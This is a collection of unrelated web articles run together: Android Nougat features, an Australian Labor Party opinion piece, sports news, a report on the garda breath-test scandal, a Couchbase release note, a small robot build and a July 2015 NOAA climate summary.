Notifications are hugely important for any mobile OS, of course, and Google has tidied up the ones in Android with this N release. Alerts are now more tidily grouped together, so you don't get overwhelmed with a hundred email messages or Facebook updates, and there's improved support for dealing with notifications without launching any apps.
In practice that might mean replying to a message on Hangouts right from the notification shade, but developers are going to need to build this functionality into their apps before you can use it. The notification drawer has been slightly redesigned too, with less space between notifications and updates stretching right to the sides of the device's display.
Android Nougat also introduces seamless updates, so that new Android devices built on N can install system updates in the background. Similar to the way Google Chromebooks work, this means that new devices can automatically download the latest version of the OS.
Android Instant Apps
Whether you discover an app from search, social media, messaging or other deep links, developers will be able to enable a fast and powerful native Android app using Android Instant apps without needing to stop and install your app first. These 'apps' will work compatible with all Android devices running Jellybean or higher (4.1+) with Google Play services.
Even better battery performance
Remember the Doze feature Google introduced with Android Marshmallow? If you don't, it's designed to put apps into a kind of standby mode whenever you're not using your smartphone or tablet - if your device is still for an extended period of time then Google puts your apps into a special low-power mode, reducing the strain on the battery.
With the introduction of Android Nougat, Doze kicks in as soon as the screen goes off, rather than waiting for your device to be still for a certain period of time- your phone doesn't have to be still. Once developers adopt the new system, the battery life on your smartphone or tablet should be extended even further. Important alerts can still be given a special high priority where necessary.
Night Mode
It's now a scientifically proven fact that the blue light emitted by our mobile devices messes up our sleeping patterns, which is why iOS 9.3 will introduce a special Night Mode... and Android Nougat is joining the party too. It applies a red filter to the screen and dims the brightness to make the display easier on the eyes in darker environments.
You can turn Night Mode on and off manually or have it adjust automatically based on the time of day. This feature was actually included in the developer editions of Android 6.0 Marshmallow before getting cut at the last minute, so let's hope it survives into the final release this time around - the quality of our sleep could depend on it.
Picture-in-picture... perhaps
For the time being Google is flagging this up as an Android TV feature so it remains to be seen if it'll appear on smartphones and tablets too, but picture-in-picture would enable videos to play in a small box on screen while you get on with something else - like multi-window support, it's likely to come in very handy for those with Android tablets.
Support for picture-in-picture needs to be enabled by the apps themselves and as Android Nougat has only just appeared we can't try it out for ourselves just yet. The image above shows how it'll look: this is the picture-in-picture feature available in the current version of YouTube for Android, which lets you minimise video playback as long as you don't leave the app.
Android Nougat security
As always, Android is built with powerful layers of security and encryption to keep your private data private. For new devices coming this fall, we've also added new features like Seamless updates, File-based encryption and and Direct Boot.
Seamless updates: New Android devices with Nougat can install software updates in the background which means you won't have to wait while your device installs the update and optimizes all your apps for the new version. And for current Nexus users, software updates now install much faster, so you won't have to wait for minutes while your device reboots.
File-based encryption: Android Nougat can better isolate and protect files for individual users on your device.
Direct Boot: Direct Boot helps your device startup faster, and apps run securely even before you unlock your device when your device reboots. And for those of you who also want to use your Android device at work, there are also new security features for using Android in enterprise, which you can learn more about on the Android for Work website.
Oh, and Android Wear 2.0
Android Wear 2.0 (OK, yes, we know this isn't Android Nougat) features a bunch of improvements to the wearable OS, with UI improvements, new watch faces, messaging, and fitness enhancements. Apps can be standalone from your phone and have direct network access to the cloud via a Bluetooth, Wi-Fi, or cellular connection.
Also read our latest take on the Android vs iOS debateFor the better part of a century, it has been a basic assumption of Marxism that the reformist social democratic parties will, sooner or later, sell their souls to the status quo.
As far as propositions with an abundance of supporting evidence go, this one is up there with the law of gravity, and nowhere more so than in Australia, where the local franchise wrote the White Australia policy into its foundation document.
Nonetheless, there have been some proud moments in the history of the Australian Labor Party. Like the time it expelled from the party its own prime minister, Billy Hughes, rather than support his plan to introduce conscription in WWI.
Or when Doc Evatt, Labor leader in the early 1950s, stood up to Robert Menzies’ attempt to ban the Communist Party. The Labor-led campaign for a “no” vote in the 1951 referendum on that issue took place in an atmosphere of press hysteria every bit as toxic as the current fear-mongering about Islamist terrorism and refugees. But Labor stood firm and Menzies’ referendum was defeated.
Or take the Labor Party left-wingers who led the campaign against the Vietnam War. In one memorable incident of that period, future Victorian MP Joan Coxsedge led a band of Labor activists to the South Yarra residence of the US consul and defoliated his garden with a chemical similar to Agent Orange.
But so at odds is this history with the reality of the modern ALP, you may as well be talking about a different party. Of course, there has always been a right wing of the ALP oriented to sucking up to the establishment and mirroring the policies of the conservatives. What is so different today is the complete absence of a left wing putting forward any fighting alternative.
Around the world, radical reformism is far from dead. In Greece, the Left Platform inside Syriza is currently engaged in a monumental struggle to resist the capitulation to austerity being carried out by prime minister Alexis Tsipras.
Even in Britain, where politics is usually as dull and depressing as the weather, Jeremy Corbyn’s campaign for the Labour leadership has the Blairite establishment of the party in a fit of uncomprehending apoplexy, unable to process the idea that Labour supporters could back a candidate that was anything other than Tory lite.
But the stunning rise of Corbyn and his “whacky” campaign, which involves standing for basic social democratic principles and being willing to explain them in straightforward language, is unimaginable in modern Australian Labor.
Tony Blair might have fancied himself as a slayer of leftism in the party, but his antipodean counterparts, Bob Hawke and Paul Keating, got started a decade earlier and were much more effective. The equivalents of Corbyn in Australian Labor – people like onetime Victorian party secretary Bill Hartley – were all expelled or otherwise shunted out of the party in the 1980s.
Corbyn is part of a left that – however weak and at times craven – still exists as an identifiable ideological bloc in British Labour. While British leftists were justifiably outraged when the overwhelming majority of Labour MPs refused to vote against Tory welfare cuts last month, the extraordinary thing from the Australian point of view is that there were 48 Labour MPs who took a stand against the party line and voted no.
In Australia, what passes for a “revolt” from the so-called left of the party is the threat to vote against the leadership, not in parliament (heaven forbid!), but at the party conference.
And if – as happened this year – it looks like the left might by accident almost have a majority of the delegates, it takes as its chief task maintaining the political authority of the party leader, even if that means rolling over and backing a refugee policy that even John Howard considered too barbaric to embrace.
The policies Jeremy Corbyn champions in Britain – opposition to war and austerity, support for increasing taxation on the rich, the abolition of tuition fees at universities and the renationalisation of public transport – might be anathema to the corporate and political establishment, but they are all extremely popular with a disillusioned public. A loud voice bucking the monolithic right wing babble of mainstream politics here could have a similar impact.
You can bet your bottom dollar, though, that if a Corbyn-like figure does emerge in Australia, it won’t be from the mangled wreckage of the ALP left.Rob Ryan said he'd be out of work for "like five minutes" after the Dallas Cowboys fired him Tuesday. It has been a little more than that, but Ryan already might have a new gig.
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"Might" being the key word.
Sources told New York Post reporter Brian Costello on Friday that Ryan had been hired as defensive coordinator for the St. Louis Rams, who still haven't fired the indefinitely suspended Gregg Williams. NFL.com's Ian Rapoport called the report premature, and another source told Costello the deal wasn't done but close.
ESPNDallas.com's Calvin Watkins reached Ryan, who said, "I'm on a beach and have talked to nobody and have no comment."
Still with us?
So at the moment, Ryan still is unemployed. But that could change in like five minutes.
Follow Kareem Copeland on Twitter @kareemcopeland.The average person has 70,000 thoughts each day, and if you don’t learn to organize them, they have the potential to wreak havoc on your productivity.
When you succumb to the flurry of thoughts running through your head, your mind becomes disorganized, and the more you ruminate on intrusive thoughts, the more power you give them.
Most of our thoughts are just that—thoughts, not facts. When you find yourself believing the negative, distracting, and pessimistic things your inner voice says, it’s very hard to slow down the momentum of your thoughts. This requires emotional intelligence, which you can measure with an emotional intelligence test.
In a recent study conducted at the National Institute on Aging, it was found that allowing your mind to be disorganized doesn’t just feel bad, it’s also actually bad for you. A disorganized mind leads to high stress, chronic negativity and impulsivity. These states stifle productivity and contribute to a slew of health problems, including weight gain, heart disease, sleep problems and migraine headaches.
Edward Hallowell, a therapist who helps people deal with disorganized minds, describes what happens when someone falls victim to his myriad of invasive thoughts: “He makes impulsive judgments, angrily rushing to bring closure. He is robbed of his flexibility, his sense of humor, and his ability to deal with the unknown. He forgets the big picture and the goals and values he stands for. He loses his creativity and his ability to change plans.”
An organized mind, on the other hand, falls into a state of flow. Flow is a blissful state of balance, where you are fully immersed in a task, completely free from distracting thoughts. Flow states enable you to enjoy your work and perform at the peak of your potential. Research shows people working in a state of flow are five times more productive than they’d otherwise be.
“May what I do flow from me like a river, no forcing and no holding back, the way it is with children.” –Rainer Maria Rilke
Here are five steps that I use to organize and declutter my mind, find flow, and keep myself on track for a productive day.
Step 1: Find The Right Amount Of Challenge In What You Do
When you’re trying to get work done, it’s easy to lose focus and succumb to intrusive thoughts when the task at hand is too challenging or too easy. We thrive on a healthy challenge—something that stimulates us without being so difficult that it produces anxiety or so simple that it induces boredom. When you consciously and carefully choose a task, you greatly increase your chance of achieving flow.
Step 2: Take Control Of Your Emotions
While it’s impossible to control how things make you feel, you have complete control over how you react to your emotions. First, you need to be honest with yourself about what you are feeling and why you are feeling it. From there, it’s much easier to channel the emotion into producing the behavior that you want. The key is to identify and label your emotions as you experience them. Associating words with what you are feeling makes the emotion tangible and less mysterious. This helps you to relax, figure out what’s behind your emotion and move forward. If you try to stifle your emotions and tackle your work without addressing them, they will slowly eat away at you and impair your focus.
Step 3: Sustain Your Focus
We all know that frustrating feeling of sitting down to tackle something important, only to quickly lose focus when we expected to dive right into the task. It takes time for your mind to become fully immersed in an activity. Studies have shown that it takes five to 20 minutes before people start to focus. If you can force yourself to persist in the activity in spite of any distractions for 20 minutes, the chances are much higher that you will be able to sustain your focus and find a state of flow. The best way to do this is to put away or turn off all of your typical distractions (phones, email, social media), then keep an eye on the clock until you’ve done nothing but your task for a good 20 minutes, even if you aren’t getting much done. Chances are that things will really start cooking for you once you hit the 20-minute mark.
Step 4: Take Breaks
Our brains and bodies simply aren’t wired for prolonged periods of work. While it might seem as though sitting at your desk for eight hours straight is the best way to get all of your work done, this can work against you. Research has shown that the most productive work cycle tends to be 52 minutes of uninterrupted work, followed by 17-minute breaks. While it probably isn’t realistic to structure your schedule this rigidly, for most people, the battle is won by just remembering to take breaks. Just be certain to pepper several short breaks throughout your day.
Step 5: Shift Sets
Once you’ve taken a break, you must shift your focus back to your task. No matter how “in the zone” you were before taking a break, you’ll sometimes find that you’re back to square one when it comes to focus. To do a proper set shift, you have to reorganize your thoughts by following steps one through four above, especially if you’re having trouble diving back into the task. You’ll find that getting back into flow quickly after a break is very doable, but it must be done purposefully.
Bringing It All Together
Organizing your mind to experience flow isn’t particularly difficult, but it does require attention and monitoring. Lean on these five steps any time you need to get more done.
Have you experienced flow? Please share your thoughts in the comments section below as I learn just as much from you as you do from me.
Watch on Forbes:Minister 'greatly disturbed' by garda report findings
An investigation into the garda breath test scandal has uncovered half a million extra falsified tests
Minister for Justice Charlie Flanagan has said he is "greatly disturbed" by the findings in two garda reports into the falsification of breath tests and 14,700 wrongful convictions.
Mr Flanagan issued a statement after the reports were discussed at today's Cabinet meeting and said the reports identify "serious and concerning problems", noting that any potential cases have been referred to relevant offices for further investigation and sanction.
An investigation into how almost one million false breath tests were recorded on An Garda Síochána computer systems has discovered another 500,000 false tests that were also recorded but not carried out.
A report by Assistant Garda Commissioner Michael O'Sullivan, published this afternoon, found that some gardaí were making up the figures and in some cases were exaggerating them by as much as 300%.
The report also identified systems and IT failures, a misinterpretation of policy, and failures of governance and oversight as contributory issues.
Mr O'Sullivan has concluded that the controversy reflects poorly on the professionalism of the organisation and has undermined public confidence in the police service.
Mr Flanagan said that he was looking forward to receiving the report of the Policing Authority into both the breath test issue and also wrongful convictions over fixed-charge penalty fines.
The Taoiseach and the Government this evening expressed confidence in the Garda Commissioner following the publication of the two garda reports.
Conversation extract contained in report between garda and call taker
Call taker: Number of vehicles stopped and controlled?
Garda: Is that the number of vehicles through the checkpoint or number of vehicles breath tested?
Call taker: Well the way I reckon...
Garda: I reckon it's stopped and breathalysed, is it?
Call taker: Even if they are not breathalysed, if you stop them and stick your head in the window, aren't they controlled, that's my thinking on it.
Garda: We will go with you…Ah 120 went through...
Call taker: How many negative breath tests?
Garda: 30 and 30, 60 ah 80, 90 we will say.
Gardaí had thought that in the five years between 2011 and 2016, just over 933,000 false breath tests had been recorded on its PULSE computer system.
However Mr O'Sullivan's report has now established that the figure is over 1.4 million, more than half a million more than originally believed, although this was over a seven-year period dating back to 2009.
The revised figures are based on an examination of figures for both the Drager breathalyser devices and the internal garda PULSE computer system.
Over 1,200 Drager breathalysers were in use across 108 garda districts at the time.
However there was no central recording process and gardaí did not record the specific counter readings on the devices, or the specific device used at each checkpoint.
The report was carried out by Assistant Garda Commissioner Michael O'Sullivan
The report identified IT and systems failures, failures of governance, oversight and supervision, and a misinterpretation of policy both at station level and at the Garda Information Services Centre in Castlebar, where the figures are also recorded.
It also established that individual gardaí were simply making up the figures, and in some cases there was gross exaggeration.
For example, the report highlights an incident where a garda contacts the centre in Castlebar to report a figure from a MAT (Mandatory Alcohol Test) checkpoint.
When asked how many checks he conducted he hesitates and first says 30. He then changes that to 50, before finally telling the operator to ‘put him down for 90’.
The breath test report also points out the controls that are now in place to prevent a recurrence of such failures.
The Road Safety Authority welcomed the reports and it is studying them.
A spokesperson added that it is mindful of the forthcoming Policing Authority report on the matter and will not be commenting further until it is published.
The PARC Road Safety Group has said the bottom line is that gardaí have lied and that is of serious concern.
Speaking on RTÉ's Six One News, chairperson Susan Gray said gardaí found to be falsifying figures should be severely disciplined.
She said she does not believe there is proper supervision of An Garda Síochána and controversies such as this make her question the credibility of the force.
The people of Ireland deserve to know exactly which gardaí are "making up the figures", she said.
A separate report by the assistant commissioner into 14,700 wrongful convictions over fixed-charge penalty fines has also identified a range of issues including systems failures and cases where summonses were not processed correctly, particularly when they related to more than one offence.
It highlights incidents where gardaí did not appear to understand how the system worked and in some cases what to issue a Fixed Charge Penalty Notice for and how to do so.
These cases are now being appealed, and the wrongful convictions being overturned.
The two reports, which run to almost 200 pages, are based on an examination of representative samples of false breath tests and fixed charge notices.
The Policing Authority has commissioned financial auditors Crowe Horwarth to review the garda reports and carry out its own independent investigation, which is due to be completed later this month.
No garda is expected to face criminal charges as a result of these reports but disciplinary proceedings have in some cases already been initiated.
The Policing Authority would not say if the auditors appointed to review the reports were examining another sample of cases or the same sample used by the assistant commissioner.
It said its methodology would be outlined when the report is published.
The investigation is due to be completed in less than three weeks, three days before Garda Commissioner Nóirín O'Sullivan is due to appear in public before the Policing Authority.
Ms O'Sullivan has faced renewed calls to resign in the wake of the latest revelation.
Commenting on the reports this afternoon, the commissioner said: "Assistant Commissioner O'Sullivan's reports identify failures in our systems, processes, oversight, supervision and management.
"These failures are completely unacceptable and all of us in An Garda Síochána must now take responsibility for ensuring this cannot happen again. Changes have already been introduced and we are committed to ensuring the required cultural, behavioural and systems changes are made.
"I agree with Assistant Commissioner O'Sullivan when he writes that these failures, particularly in relation to breath tests, reflect poorly on the professionalism of the organisation and are damaging to public confidence. It is vital that An Garda Síochána continues to have the public's confidence and support in order to carry out our work."
The Policing Authority this evening said: "The authority had previously expressed its alarm at the scale of the discrepancies disclosed between actual alcohol tests administered and the numbers recorded by gardaí and its serious concern about management and supervision in the Garda Síocháná, echoing findings of the Garda Inspectorate, Judge O'Higgins and others.
"The authority welcomes the commissioner's acknowledgement today of the serious failures in the Garda Síocháná systems, processes, supervision and management and her commitment to ensuring that the required changes are made."
Further reporting by RTÉ Crime Correspondent Paul Reynolds
The background to this goes back around three years ago, when Gay Byrne as chairman of the Road Safety Authority received an anonymous letter about mandatory alcohol testing checkpoints in the west of Ireland and how the road traffic laws were not being enforced.
He sent that to then minister for transport, Leo Varadkar, who has since been elected Taoiseach. It was sent on to gardaí in April 2014.
Gardaí began a review of traffic equipment and PULSE data, first in the southern region where they found significant discrepancies. This led to a full review of breath test data across the entire organisation and the gardaí could not reconcile their own PULSE data with the paper-based breath tests.
They then asked the Medical Bureau of Road Safety for its data from its breath test Drager devices.
Gardaí received that in February of this year and very quickly saw major differences between the number of times the machines were used and the number of tests recorded on the PULSE system for roadside breath tests – a difference of over 930,000; nearly a million false breath tests.
The differences between what was recorded and what was done in different parts of the country was also quite stark: In Dublin the difference was at least 68%; in the southeast region the exaggeration was by over 153% and if you go down to individual districts, in Wexford for example it was 5% while in Dublin west it was 495%.
In the second issue, which was the fixed charges and the penalty points and fines, the Garda Information Services Centre became aware of this last year.
In April of last year, a person appeared before the court for having no NCT certificate displayed. But they had already paid a fixed-charge notice so they should not have been summonsed.
The review identified another 759 of these cases, then the review was expanded again and it found a total of 830,000 summonses that were issued between January of 2006 and May of 2016.
Out of these 830,000 summonses, they boiled them all down and identified 14,700 cases where a penalty had been imposed on people in courts for offences like no tax, no insurance, no NCT displayed, no L plates, failing to stop for a garda, holding a mobile phone, when these people should not have been convicted.We’re happy to announce the release of Couchbase Server 3.0.3 Enterprise Edition. As many of you may know, the 3.0 was significant release for the company and had many architectural changes also introduced several exciting features like tunable memory and, encrypted data access that provided better reliability and security for enterprises.
The focus of the 3.0.3 release is to fortify the 3.0 releases further by addressing feedback provided by our users and customers, specifically fixing reliability issues with Database Change Protocol (DCP). The full release notes are available here.
You can download and check-out the latest version on our download page. If you are currently running Couchbase Server 3.0/3.0.1/3.0.2 EE, we recommend that you upgrade to version 3.0.3 EE. We are working on the community edition and will update our download page once available.
Try out 3.0.3 and give us your feedback!
• Download page
• Release notes for 3.0.3"Daily Show" host Jon Stewart is known for using satire to criticize the wars in Iraq and Afghanistan. But he is also a strong
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cotton strains.
SUPIMA is a trademarked term referring only to American gown PIMA cotton. Using this term requires a license in which the governing body, which closely monitors and licenses every step of the process, certifies that 100% of the cotton used is SUPIMA.
Flint and Tinder only uses SUPIMA cotton.
Lets talk design...
Yes, lets. We started by incorporating every feature you’d find on the most expensive pairs of underwear. With each prototype, we stripped away a little bit more, until we were left with a perfectly balanced garment; Simple in design, rugged in construction, refined in our selection of top-notch materials.
Where does the underwear I’m wearing right now come from?
Hard to say without looking at your tag (even a single brand often manufactures in several different countries). Of the underwear available on shelves in Manhattan, here’s what some of their tags say:
2(x)Ist — Thailand
A/X — Peru
Adidas — Indonesia
American Eagle Outfitters — Macao
Banana Republic — Indonesia
Boss Orange — Egypt
Brooks Brothers — Thailand
BVD — El Salvador
Calvin Klein — Vietnam
Clayborne — Pakistan
David Beckham/H&M — Cambodia
Diesel — China
Emporio Armani — Thailand
Fruit of the Loom — Vietnam
Gap — Indonesia
Hanes — India
Hugo Boss — China
Izod — China
J. Crew — China
Jockey — India
Joe Boxer — China
Kenneth Cole — Thailand
Old Navy — India
Pact — Turkey
Polo / Ralph Lauren — El Salvador
Stafford — Thailand
Tommy Hilfiger — Indonesia
Under Armor — Cambodia
Uniqulo — China
Wrangler — China
etc. etc. etc. Only one comes from the US– American Apparel, but it's not hugely comfortable, isn't made of premium materials, and falls apart in the dryer over time.
Will buying Flint and Tinder create American jobs?
You bet your ass it will! And not in some vague way either…
The factory I'm working with is family owned and operated. It’s over 100 years old. Just before the recession hit, they moved into a larger facility and invested in some of the capital improvements shown in the video (solar power etc.).
At that time they had 300+ employees and were hoping to double or triple in size. When we started this project however, with the economy in free-fall, they were down to just 90.
They’ve agreed to learn to make this new, high-end brand of American-made underwear. Here’s the fun part though: For every 1000 pair we sell per month, 1 full-time job has to be added back to the assembly line. Hopefully, with your support, it will help them keep the doors open.
Wait, how can you make a product here in the US (where labor costs are higher), using better materials, and still charge a competitive price?
Great question. It’s hard, but not impossible.
1—Flint and Tinder will sell direct to consumers through our own website. This will avoid the 100% mark-up most stores add to products.
2—The next stop is wholesale, but with almost no mark-up on our end, making the final retail price about the same as what we sell them for online. Why would we sell our product in a way that lets stores profit while hardly making anything on the deal ourselves? Simple: It’s going to allow us to create an American alternative that sits on shelves right next to it’s foreign-born competitors at a competitive price. Doing this supports our manufacturing partners (as they’ll get to make more underwear), but it’s also good marketing since many customers like touching products in a retail environment that they later order from the web (meaning we’ll get to sell more underwear online too).Juan Diaz's return to boxing did not last long.
Two weeks after signing a contract to fight David Torres and announcing that he would end a one-year layoff, the former unified lightweight titlist withdrew from the fight Tuesday, telling promoter Leon Margules of Warriors Boxing that he was instead going to attend law school.
Diaz, 27, of Houston, had signed to fight Torres in a scheduled 10-round lightweight bout at The Cosmopolitan in Las Vegas on July 29. The fight was scheduled to headline ESPN2's "Friday Night Fights."
Diaz, a graduate of the University of Houston Downtown, had recently been accepted to the University of Massachusetts Dartmouth Law School. He has talked for years about someday going to law school, but the lure of the ring seemed like it was too much.
"I have the acceptance letter from law school and I look at it every day and question myself every day if I am making the right decision," Diaz told ESPN.com two weeks ago when he announced his comeback fight. "I put it to the side and say law school can wait. What I really want is to become champion again, so I've been emailing back and forth with the university to see if I can work something out where they will let me defer for a year because I don't think I want to go yet."
Diaz (35-4, 17 KOs) did not get the deferral and had a change of heart.
Willie Savannah, Diaz's manager, faxed a hand-written letter to Margules telling him of Diaz's decision.
"He had trained 4-5 days per week for months in anticipation of once again becoming a world champion," Savannah wrote. "He made this decision last Friday and I support it 100 percent. I hope that Warriors and ESPN will understand.
"Diaz does not have a history of pulling out of fights like a lot of boxers do. I apologize for the inconvenience this will cause all parties."
Diaz was going to attempt to return two days shy of the one-year anniversary of his last fight, a clear decision loss to lightweight champ Juan Manuel Marquez in a rematch. Diaz, who was knocked out by Marquez in the consensus 2009 fight of the year, was 2-4 in his last six fights and his career was clearly on the ropes.
But Diaz had told ESPN.com two weeks ago that he was refreshed and ready to make another title run.
"It's been awhile and I am very excited and very pumped about being back in the ring," Diaz said. "Last time I fought was July 31 last year, so it's going to be a year. So I'm looking forward to fighting again and showing people what I still have."
Diaz was only 20 when he claimed his first world title in 2004. He made seven defenses, including unifying three major belts with wins against titleholders Acelino "Popo" Freitas and Julio Diaz, before losing them in an upset decision to Nate Campbell in March 2008.
Margules told ESPN.com that he hopes to replace Diaz-Torres with a light heavyweight match between Colombian slugger Edison Miranda (34-5, 29 KOs), a former middleweight and super middleweight title challenger, and Yordanis Despaigne (8-1, 4 KOs), a former Cuban amateur star.
Margules said both fighters have agreed to the fight and he was awaiting the go-ahead from ESPN to finalize the contract.
Last Saturday, Miranda ended a 14-month layoff following a third-round knockout loss to super middleweight titlist Lucian Bute. Miranda easily outpointed Rayco Saunders in an eight-rounder on the Carl Froch-Glen Johnson undercard in Atlantic City, N.J.
Despaigne is coming off a 10-round decision loss to fellow former amateur star Ismayl Sillakh on ESPN2 in March. Although Despaigne has just nine pro fights, he had a deep amateur career for the powerhouse Cuban national team, including beating future light heavyweight champion Jean Pascal during the 2004 Olympics.
The opening televised fights remains intact: former lightweight champion Joel Casamayor (38-5-1, 22 KOs) against Jorge Teron (25-2-1, 17 KOs).
Dan Rafael is the boxing writer for ESPN.com. Follow him on Twitter @danrafaelespn.When you first install the Views module, it comes with several example views.
One of the most popular examples is the Glossary view, which takes a large amount of content and organizes it all by the first letter of the content title. This is useful in a lot of situations, especially when you're creating a directory of businesses or people.
Here's what the Glossary view looks like:
Even though the Glosssary view exists when you install Views, it's not always easy for beginners to understand. The Glosssary view does use some of the more advanced Views features.
In this video below, we show you how to create your own Glossary view:
And, now that we understand how new Glossary views are created, let's take at look at how to edit the default Glossary view:
These videos are part of the Drupal Glossary View class.Economy Good According to Realtor
I was talking to a very dear friend of mine who has been a real estate investor for a few years and just recently received his real estate license. Now, Aaron is always busy, thank God for voicemail as I leave them often, but he is always courteous and gets in touch with me promptly, as anyone in a service field should.
When I talked to him today, he said he couldn’t figure out why the news media was painting such a bleak outlook regarding the economy because he has about eighty clients looking for homes.
Now, I should probably tell you that my friend is an ex-Army Ranger, very personable and unstoppable. I let him know that he always succeeds because of his positive outlook and he agreed that might have something to do with it. I call it the Law of Attraction in Manifestation.
You might be asking about now, “Well, what about all the news reports? Are they wrong?”
They can be, depending on your attitude. How do I know this? I’ve been studying a book called, Think and Grow Rich by Napoleon Hill. Dr. Hill interviewed many self-made millionaires and published his research in 1937.
Every week, I mastermind with a group of people all studying this book and I can’t tell you what a difference it has made in my life, both personally and professionally. What’s really funny, well, it wasn’t funny then, but I thought I was done working on me. I had focused on me for many years, okay, at least eight years straight and I wanted a break!
One of my mentors told me that “to get more, I have to become more!” Oh, my! I was kind of discouraged right there, but now, almost two years later, I can tell you it has been so worth it. I’m not the same person I was then and I’m truly enjoying my life. I know who I am, where I’m going and enjoying the journey.
Do you want to succeed for the first time in your life? Have you already experienced success and seem to be on a plateau? Do you just desire to find out who you really are?
If you answered yes to any of the above questions then I personally invite you to mastermind with us. You grow at your own pace. Start now by clicking on the ebook in the upper right corner. The book is totally generic and I assure you, you will not only learn some myths and truths about this wonderful industry, you’ll enjoy the humor too!
So, just like my friend, Aaron, you too, can have a very successful life. The buck starts here!
Call me and let me know what you think or if you have any questions.
To Your Success,
Nicki Tompkins
Mentor & Coach
864.449.6377
AdvertisementsFirst, credit due where credit is due. This project is inspired by the “Tiny Robot Family” by shlonkin. This is a fairly simple, low cost (~$10/unit) project that can be done in a weekend.
To build one robot with 2 obstacle detecting sensors I used these parts:
1 x Perfboard
1 x ATTiny85
1 x 8 pin socket
2 x NPN transistors (PN2222A)
2 x 22Ω resistors
2 x 10kΩ resistors
2 x Pager motors
2 x Photo transistors (ASDL-6620-C22)
2 x Infrared LEDs (VSLB3940)
1 x 2 pin header
many LR2032 rechargable batteries
Heat shrink tubing, various sizes
Hookup wire
I ordered most of the parts from Mouser, only the pager motors are from Electronic Goldmine. I got a 10 pack for $15. They ship really quickly and their packaging is on the more cautious side.
One of the problems I had to solve was adding “wheels” to the motors. What I ended up doing was gluing 2 beading beads onto the shaft and adding several layers of heat shrink tube till the “wheels” had a larger diameter than the motor’s body.
Next I cut the PCB to size. I did some test layouts with all components and figured I can fit everything onto an 8×8 grid. The additional cut outs are where the motors will be glued in at the end.
This is the schematic for the circuit:
You won’t be able to see the light emitted by the IR LEDs. You can set your phone into video mode tough and you will see if the LEDs are on. This can be helpful for some basic debugging. The LEDs are mounted directly above the photo transistor. To ensure that the transistors only get triggered by light reflecting off an obstacle I wrapped the photo transistors in heat shrink tube and only left a small opening in the front, additionally I recessed the LEDs a bit.
Here a view of the final layout from the top:
One of the things that were difficult to figure out was how to make the robot go in a straight line. Because it is basically impossible to glue the motors into 100% identical, mirrored positions I needed to figure out how to correct for the mounting error. Even though the motors are in fairly similar positions the robot would originally simply spin in circles. I ended up adding a “tail” to the back and bending it into a position that would make the robot go in a straight line. That worked surprisingly well. One thing to keep in mind when connecting the motors is that you need to make sure that they have inverse polarity. Otherwise one motor will spin forwards while the other one spins backwards.
To program the ATTiny85 I used the Sparkfun Pocket AVR Programmer and the Arduino IDE. You can view the code here. For now the robot basically just moves around and turns away from an obstacle when detecting one. I still got 2 unused IO pins and the design could potentially be extended to add sensors for detecting vertical dropoffs. I will keep working on the program and update the GIT repository. I like shlonkin’s idea to build several units with different sensors and have them communicate with each other. I still got motors to build 4 more robots and might look into that in the future.
The motors draw quite a bit of current. I only get a few minutes out of each battery. That’s why I recommend to go for rechargeable cells. I ordered one of those $1 coin cell chargers from Ebay but I’m still waiting for it to arrive. One mistake I did was to get cells without the mounting tabs attached. It’s impossible to solder a wire to the cell. What I ended up doing was to add a fair amount of solder to the end of the wire and sticking the cell and the wire into a piece of heat shrink tube. I tried to keep the wires really short which allows to plug the battery into the robot without using additional battery mounting hardware.
Here a short video of the robot in action:BROADWAY SUPPORTS BLACK LIVES MATTER, a concert directed by Tonya Pinkins originally to be held on September 11, 2016 at Feinstein's/54 Below, has been cancelled due to the venue's conflict with part of Black Lives Matter's platform.
BroadwayWorld has confirmed that participants in the event received the following email from Feinstein's/54 Below:
"The owners and managers of [Feinstein's/54 Below] strongly believe in and support the general thrust of the goals and objectives of BLM. However, since announcing the benefit they've become aware of a recent addition to the BLM platform that accuses Israel of genocide and endorses a range of boycott and sanction actions.
"Feinstein's/54 Below would have preferred to hold the concert in support of the #BlackLivesMatter movement, without endorsing or appearing to endorse the entirety of the Black Lives Matter organization and its platform but we've found that a distinction impossible for us to effect.
"As we can't support these positions, we've accordingly decided to cancel the concert. We're sorry about this unfortunate situation which has not dimmed our commitment to supporting social justice."
This evening was slated to feature artists of color's original songs dedicated to and inspired by the Black Lives Matter movement, Broadway performers sharing songs in the spirit of the event, and activists educating about the scope of the problems we face and how to promote positive change.
The evening would have included performers Lilli Cooper, Eisa Davis, Andre De Shields, Michael R. Jackson, Marcus Scott, Darius Smith, Brynn Williams, AAPF- Say Her Name Organization, a representative from the New York chapter of Black Lives Matter, and more.
Broadway Supports Black Lives Matter was put together by Felicia Fitzpatrick, Michael R. Jackson, and Jennifer Ashley Tepper, with consultation by Frank Leon Roberts and Adrienne Warren for the Broadway for Black Lives Matter Collective.
Proceeds from the concert would have been contributed to Black Lives Matter.
Related Articles
More Hot Stories For YouSean Dyche has been named as the Sky Bet Championship manager of the month for February.
The Clarets boss landed the award at the third time of asking this season, after previously being nominated in October and January.
And the award was richly deserved following a month that saw unbeaten Burnley win four and draw two of their six games, including a pivotal win over Hull City, to go top of the Championship for the first time this season.
Dyche said: “It is an award that I am obviously happy to receive. I’ve been fortunate enough to win it a few times before and I accept it gladly on behalf of the staff, the players and the club.
“I believe in that one-club mentality and this is a marker that it works.
“We have been on a good roll for a while now, with good performances and results and we’ve shown many different signs and ways of winning games lately.
“We have just done it again against Blackburn and Fulham at the start of a new month, but awards like this are always down to staff and players.
“It’s not just about the manager and I have a terrific staff here and a terrific group of players, not only as footballers, but also as people.”
George Burley, who chairs the Sky Bet Manager of the Month judging panel, added: “Sean is again showing what a fantastic manager he is by guiding Burnley up the table and they are now looking good for a quick return to the Premier League.
“Unbeaten in six games during the month, including a great win against league leaders Hull City to take them to the top of the Sky Bet Championship.”
Sky Sports’ Football League pundit Don Goodman and fellow award panellist, said: “Sean’s determination to get back to the Premier League has shone through this month with his Burnley side unbeaten in six games.
“This is the time of the season where promotion can either be won or lost and if they do get promoted, they are sure to reflect on February as the month where their promotion charge took off.”The July 2015 average temperature across global land and ocean surfaces was 1.46°F (0.81°C) above the 20th century average. As July is climatologically the warmest month for the year, this was also the all-time highest monthly temperature in the 1880-2015 record, at 61.86°F (16.61°C), surpassing the previous record set in 1998 by 0.14°F (0.08°C).
The first seven months of this year (January-July) were also record warm for the globe.
The July globally-averaged land surface temperature was 1.73°F (0.96°C) above the 20th century average. This was the sixth highest for July in the 1880-2015 record.
